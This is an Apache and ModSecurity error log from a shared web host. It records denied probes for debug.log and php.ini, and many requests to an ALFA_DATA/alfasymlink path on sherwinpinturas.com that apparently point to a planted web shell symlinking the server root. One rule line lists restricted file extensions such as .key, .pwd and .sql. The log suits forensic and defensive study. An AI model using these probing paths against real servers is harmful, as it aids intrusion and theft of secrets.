[Tue Oct 27 12:09:55.559443 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/wp-content/uploads/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKgAAAAU"]
[Tue Oct 27 12:09:55.559700 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/wp-content/uploads/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKgAAAAU"]
[Tue Oct 27 12:09:55.668296 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "curso-de-ventas.com"] [uri "/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKwAAAAU"]
[Tue Oct 27 12:09:55.668629 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKwAAAAU"]
[Tue Oct 27 12:09:55.668892 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKwAAAAU"]
[Tue Oct 27 12:09:55.669010 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "curso-de-ventas.com"] [uri "/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKwAAAAU"]
[Tue Oct 27 12:09:55.669027 2026] [security2:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "curso-de-ventas.com"] [uri "/debug.log"] [unique_id "auDM00WPhKyNntEZE3vcKwAAAAU"]
[Tue Oct 27 12:09:56.787614 2026] [authz_core:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:09:57.033367 2026] [authz_core:error] [pid 3262218:tid 3262218] [client 2.57.122.202:20514] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:09:59.744787 2026] [core:error] [pid 3261792:tid 3261792] (13)Permission denied: [client 98.82.38.120:59891] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/rom
[Tue Oct 27 12:10:07.244730 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 85.208.96.193:26616] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:10:11.833475 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 34.227.156.153:18182] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:10:19.975238 2026] [security2:error] [pid 3250097:tid 3250097] [client 107.172.76.131:60809] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDM4N-UH8rIZL85QFqJfAAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 12:10:19.975333 2026] [security2:error] [pid 3250097:tid 3250097] [client 107.172.76.131:60809] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDM4N-UH8rIZL85QFqJfAAAAAQ"], referer: https://clic1.sherwinpinturas.com//beta.php
[Tue Oct 27 12:10:20.785733 2026] [core:error] [pid 3258924:tid 3258924] (13)Permission denied: [client 185.191.171.16:35114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci_express/drivers/dpc/bind
[Tue Oct 27 12:10:24.176471 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 100.29.155.89:37347] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:10:31.960832 2026] [core:error] [pid 3262184:tid 3262184] (13)Permission denied: [client 34.231.45.47:59328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/memory2/subsystem/drivers_probe
[Tue Oct 27 12:10:38.024631 2026] [core:error] [pid 3258910:tid 3258910] (13)Permission denied: [client 185.191.171.16:47280] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/align
[Tue Oct 27 12:10:47.830750 2026] [ssl:error] [pid 3258396:tid 3258396] (70014)End of file found: [client 98.82.59.253:48504] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:10:55.800404 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 52.204.174.139:25409] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:00.326607 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 3.217.171.106:4716] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:08.868400 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 85.208.96.208:26924] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:19.962299 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 52.3.156.186:37667] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:27.859907 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 52.4.238.8:14872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:32.190816 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 3.235.215.92:26416] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:35.804217 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 23.21.119.232:24447] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:44.467002 2026] [core:error] [pid 3262218:tid 3262218] (13)Permission denied: [client 185.191.171.1:43908] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/var/run/CSPCSPDaemon.lock
[Tue Oct 27 12:11:47.761796 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 52.202.233.37:64317] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:11:51.826845 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 3.213.106.226:18947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:12:11.909812 2026] [ssl:error] [pid 3262184:tid 3262184] (70014)End of file found: [client 52.2.4.213:31947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:12:43.725138 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 50.19.102.70:64593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:12:47.858173 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 52.207.47.227:15559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:12:51.879891 2026] [core:error] [pid 3258910:tid 3258910] (13)Permission denied: [client 3.232.82.72:51284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/subsystem/drivers/thermal/unbind
[Tue Oct 27 12:12:55.894480 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 23.21.119.232:20804] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:12:59.881806 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 35.169.240.53:58891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:13:06.557506 2026] [core:error] [pid 3258933:tid 3258933] (13)Permission denied: [client 107.20.25.33:62378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/driver/new_id
[Tue Oct 27 12:13:09.780451 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 34.226.89.140:2641] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:13:11.757757 2026] [core:error] [pid 3258393:tid 3258393] (13)Permission denied: [client 44.212.232.231:55998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:05.0/remove
[Tue Oct 27 12:13:15.770075 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 44.205.192.249:24393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:13:18.569178 2026] [authz_core:error] [pid 3258933:tid 3258933] [client 109.105.209.22:42268] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:13:27.887566 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 52.205.113.104:7595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:13:35.748031 2026] [core:error] [pid 3258933:tid 3258933] (13)Permission denied: [client 18.210.58.238:11079] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/PNP0C0F:03/subsystem/drivers_probe
[Tue Oct 27 12:13:39.928514 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 100.29.164.178:17982] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:13:43.889420 2026] [ssl:error] [pid 3258910:tid 3258910] (70014)End of file found: [client 44.193.115.232:50895] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:13:51.922973 2026] [ssl:error] [pid 3257860:tid 3257860] (70014)End of file found: [client 3.213.46.222:43459] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:13:58.342578 2026] [security2:error] [pid 3262184:tid 3262184] [client 107.172.76.131:60881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDNugrynoGbQ3f5S9WlEQAAAAM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:13:58.342635 2026] [security2:error] [pid 3262184:tid 3262184] [client 107.172.76.131:60881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDNugrynoGbQ3f5S9WlEQAAAAM"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:14:11.779798 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 54.84.102.81:1354] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:14:16.406501 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 18.215.112.101:16739] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:14:36.182923 2026] [core:error] [pid 3258393:tid 3258393] (13)Permission denied: [client 44.213.202.136:4328] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0303:00/physical_node1/driver/serio0/driver/bind
[Tue Oct 27 12:14:51.801894 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 52.5.232.250:14534] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:14:54.512584 2026] [security2:error] [pid 3262600:tid 3262600] [client 107.172.76.131:60882] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDN8bj3-TesapEMgz75nQAAAAY"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:14:54.512648 2026] [security2:error] [pid 3262600:tid 3262600] [client 107.172.76.131:60882] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDN8bj3-TesapEMgz75nQAAAAY"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:15:04.266507 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 18.214.138.148:3580] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:15:07.801197 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 44.215.61.66:40876] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:15:27.833525 2026] [core:error] [pid 3258393:tid 3258393] (13)Permission denied: [client 98.82.63.147:24089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:11/eject
[Tue Oct 27 12:15:31.764334 2026] [security2:error] [pid 3257860:tid 3257860] [client 3.224.215.150:42537] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/hugepages/"] [unique_id "auDOI7oFvrtxaP8UH_Y7YQAAACU"]
[Tue Oct 27 12:15:31.764371 2026] [security2:error] [pid 3257860:tid 3257860] [client 3.224.215.150:42537] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/hugepages/"] [unique_id "auDOI7oFvrtxaP8UH_Y7YQAAACU"]
[Tue Oct 27 12:15:39.863241 2026] [ssl:error] [pid 3258845:tid 3258845] (5)Input/output error: [client 98.83.177.42:2388] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:15:47.843747 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 3.89.176.255:53531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:15:55.867592 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 3.212.205.90:22081] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:15:59.802307 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 34.206.212.24:42796] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:16:03.798542 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 98.83.94.113:39043] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:16:11.836809 2026] [core:error] [pid 3257860:tid 3257860] (13)Permission denied: [client 98.84.131.195:8399] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers_probe
[Tue Oct 27 12:16:35.970534 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 54.159.98.248:28211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:16:36.962980 2026] [security2:error] [pid 3257227:tid 3257227] [client 172.68.21.246:61098] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auDOZNy4AMyS2GkzpJ8XKQAAABk"]
[Tue Oct 27 12:16:36.963018 2026] [security2:error] [pid 3257227:tid 3257227] [client 172.68.21.246:61098] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/contacto/bajas.php"] [unique_id "auDOZNy4AMyS2GkzpJ8XKQAAABk"]
[Tue Oct 27 12:16:52.256205 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 52.54.249.218:35482] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:16:55.927585 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 52.200.58.199:63711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:03.943854 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 34.235.239.240:29322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:12.130212 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 23.21.179.120:15330] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:23.985140 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 18.213.27.222:6934] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:27.936972 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 34.206.193.60:20466] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:31.822874 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 34.206.212.24:5336] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:35.918727 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 3.216.13.10:41308] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:47.954793 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 35.169.119.108:9943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:17:51.796009 2026] [core:error] [pid 3262218:tid 3262218] (13)Permission denied: [client 54.235.172.96:31587] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/node0/compact
[Tue Oct 27 12:17:55.818954 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 54.85.126.86:60326] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:18:00.360229 2026] [ssl:error] [pid 3257227:tid 3257227] (5)Input/output error: [client 34.231.156.59:32941] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:18:04.238884 2026] [ssl:error] [pid 3258900:tid 3258900] (70014)End of file found: [client 52.73.142.41:57927] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:18:16.536863 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 44.213.36.21:33681] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:18:23.686527 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 184.73.47.24:24154] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:18:28.444659 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 98.84.184.80:4273] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:18:38.293880 2026] [core:error] [pid 3258900:tid 3258900] (13)Permission denied: [client 185.191.171.12:44598] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/shrink
[Tue Oct 27 12:18:47.525630 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 34.227.156.153:50662] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:18:59.773545 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 54.156.124.2:22722] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:19:03.443724 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 44.205.192.249:33881] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:19:11.405633 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 52.1.157.90:38772] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:19:12.966865 2026] [core:error] [pid 3264051:tid 3264051] (13)Permission denied: [client 185.191.171.17:24500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/objects_partial
[Tue Oct 27 12:19:23.792514 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 44.214.19.8:40620] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:19:27.410127 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 54.197.82.195:33524] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:19:31.595131 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 100.29.164.178:43732] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:19:35.425702 2026] [ssl:error] [pid 3262218:tid 3262218] (5)Input/output error: [client 3.213.85.234:57729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:19:59.556062 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 50.17.193.48:6519] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:20:15.355401 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 35.173.38.202:6912] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:20:23.340986 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 18.214.186.220:11957] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:20:55.184638 2026] [core:error] [pid 3258924:tid 3258924] (13)Permission denied: [client 18.210.58.238:58470] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS0/type
[Tue Oct 27 12:21:19.127764 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 44.213.36.21:64895] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:21:23.264627 2026] [ssl:error] [pid 3259050:tid 3259050] (70014)End of file found: [client 34.205.170.13:52874] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:21:27.208882 2026] [ssl:error] [pid 3264051:tid 3264051] (70014)End of file found: [client 98.83.72.38:13198] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:21:31.191893 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 52.6.232.201:14546] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:21:39.063247 2026] [ssl:error] [pid 3257227:tid 3257227] (70014)End of file found: [client 44.218.6.93:50491] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:21:54.976603 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 44.212.232.231:41323] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:22:07.061401 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 18.207.89.138:24508] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:22:10.960064 2026] [core:error] [pid 3258924:tid 3258924] (13)Permission denied: [client 34.205.163.103:35862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/driver/unbind
[Tue Oct 27 12:22:15.019087 2026] [ssl:error] [pid 3257805:tid 3257805] (70014)End of file found: [client 54.157.84.74:10720] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:22:27.007971 2026] [ssl:error] [pid 3258924:tid 3258924] (70014)End of file found: [client 54.89.90.224:20094] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:22:30.942676 2026] [ssl:error] [pid 3264051:tid 3264051] (70014)End of file found: [client 54.225.81.20:23024] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:22:37.888708 2026] [core:error] [pid 3262218:tid 3262218] (13)Permission denied: [client 85.208.96.198:51680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/order
[Tue Oct 27 12:22:42.926983 2026] [core:error] [pid 3260247:tid 3260247] (13)Permission denied: [client 54.156.55.147:53547] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/driver/bind
[Tue Oct 27 12:22:46.847429 2026] [ssl:error] [pid 3264051:tid 3264051] (70014)End of file found: [client 52.3.155.146:39685] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:22:50.833667 2026] [ssl:error] [pid 3262218:tid 3262218] (70014)End of file found: [client 23.21.175.228:49196] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:22:55.082878 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 18.232.36.1:11811] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:02.855357 2026] [ssl:error] [pid 3258933:tid 3258933] (70014)End of file found: [client 44.214.19.8:28335] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:06.800014 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 34.225.87.80:23291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:10.081485 2026] [security2:error] [pid 3258980:tid 3258980] [client 107.172.76.131:60795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDP4yLuWzEKcXyOs825zQAAABU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 12:23:10.081540 2026] [security2:error] [pid 3258980:tid 3258980] [client 107.172.76.131:60795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDP4yLuWzEKcXyOs825zQAAABU"], referer: https://clic2.sherwinpinturas.com//beta.php
[Tue Oct 27 12:23:15.108717 2026] [ssl:error] [pid 3258845:tid 3258845] (70014)End of file found: [client 54.84.147.79:40643] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:23:15.729341 2026] [authz_core:error] [pid 3264051:tid 3264051] [client 137.184.26.99:49708] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
